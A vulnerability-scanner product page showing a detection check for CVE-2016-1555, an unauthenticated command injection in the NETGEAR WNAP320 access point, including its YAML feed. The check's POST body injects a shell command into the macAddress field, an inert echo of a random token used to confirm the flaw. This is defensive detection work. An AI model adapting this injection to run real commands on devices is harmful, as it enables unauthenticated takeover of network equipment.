NETGEAR WNAP320 — 1 vulnerability check

noctis ships 1 vulnerability check for NETGEAR WNAP320, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

NETGEAR WNAP320 ProSafe AP Unauthenticated OS Command Injection

CVECVE-2016-1555
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, http_request, match · highest QoD 97
Feedtests/vulnerabilities/netgear-wnap320/CVE-2016-1555.yaml

Detects the NETGEAR WNAP320 (ProSafe wireless access point, firmware 2.0.3 and earlier) unauthenticated OS command injection in /boardDataWW.php. The `macAddress` POST parameter is concatenated into a shell command without sanitisation, so metacharacters inside it are executed by the device shell as the web user (effectively root) before any authentication.

Detection uses a per-run command-substitution collapse to prove live command execution rather than static reflection: a random 32-hex token is generated, then injected into macAddress as `echo NOCTIS$()<token>`. The empty `$()` command substitution collapses to nothing only when a real shell evaluates the string, so a vulnerable device echoes the joined `NOCTIS<token>` back, while a device that merely reflects the raw input (or a patched device that serves a benign form / 403) keeps the `$()` separator and never produces the joined marker. The probe is inert — it echoes a random token and runs no real command, file read, or write.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request POST /boardDataWW.php with a crafted body
  4. Checks resp.body for NOCTIS[0-9a-f]{32} → finding QoD 97: NETGEAR WNAP320 unauthenticated command injection confirmed (CVE-2016-1555): macAddress injection in POST /boardDataWW.php collapsed the $(…

References:

Feed source — tests/vulnerabilities/netgear-wnap320/CVE-2016-1555.yaml
uid: 9f997b00-a1a5-41c2-8c1e-ab64f2d1e4cd
name: "NETGEAR WNAP320 ProSafe AP Unauthenticated OS Command Injection (CVE-2016-1555)"
description: |
  Detects the NETGEAR WNAP320 (ProSafe wireless access point, firmware
  2.0.3 and earlier) unauthenticated OS command injection in
  /boardDataWW.php. The `macAddress` POST parameter is concatenated into a
  shell command without sanitisation, so metacharacters inside it are
  executed by the device shell as the web user (effectively root) before any
  authentication.

  Detection uses a per-run command-substitution collapse to prove live
  command execution rather than static reflection: a random 32-hex token is
  generated, then injected into macAddress as `echo NOCTIS$()<token>`. The
  empty `$()` command substitution collapses to nothing only when a real
  shell evaluates the string, so a vulnerable device echoes the joined
  `NOCTIS<token>` back, while a device that merely reflects the raw input
  (or a patched device that serves a benign form / 403) keeps the `$()`
  separator and never produces the joined marker. The probe is inert — it
  echoes a random token and runs no real command, file read, or write.
cves: [CVE-2016-1555]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: rce
tags: [netgear, wnap320, prosafe, access-point, rce, command-injection, pre-auth, iot]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2016-1555"
  - "https://www.exploit-db.com/exploits/39442"
  - "https://seclists.org/fulldisclosure/2016/Feb/61"

steps:
  # Per-run random token (16 bytes -> 32 hex chars) so the marker differs on
  # every scan and cannot be hardcoded / cached by a cheating mock.
  - id: gen-token
    action: script
    code: |
      rand_hex(16)
    store_as: tok

  # The joined marker the device shell must produce. `$()` separates NOCTIS
  # from the token in the payload; only shell evaluation collapses it to this.
  - id: gen-marker
    action: script
    code: |
      "NOCTIS" + tok
    store_as: marker

  # Inject into the macAddress POST parameter. The empty command substitution
  # `$()` sits between NOCTIS and the token; a vulnerable shell collapses it
  # and echoes the joined marker. Shell metacharacters live in the POST body,
  # which reqwest does not normalise, so http_request with body: is safe here.
  - id: cmd-inject
    action: http_request
    method: POST
    path: "/boardDataWW.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "macAddress=00:11:22:33:44:55; echo NOCTIS$(){{tok}};&reginfo=0&writeData=Submit"
    store_as: resp

  # Confirm live execution: the joined NOCTIS<token> must appear in the body.
  # stridx(resp.body, marker) >= 0 rejects a reflecting mock that returns the
  # raw body with the `$()` separator still present.
  - id: confirm-exec
    action: match
    source: resp.body
    pattern: "NOCTIS[0-9a-f]{32}"
    condition: "resp.status == 200 && stridx(resp.body, marker) >= 0"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "NETGEAR WNAP320 unauthenticated command injection confirmed (CVE-2016-1555): macAddress injection in POST /boardDataWW.php collapsed the $() command substitution and echoed the per-run marker, proving live shell execution without authentication."
      stop: true

View these feeds on GitHub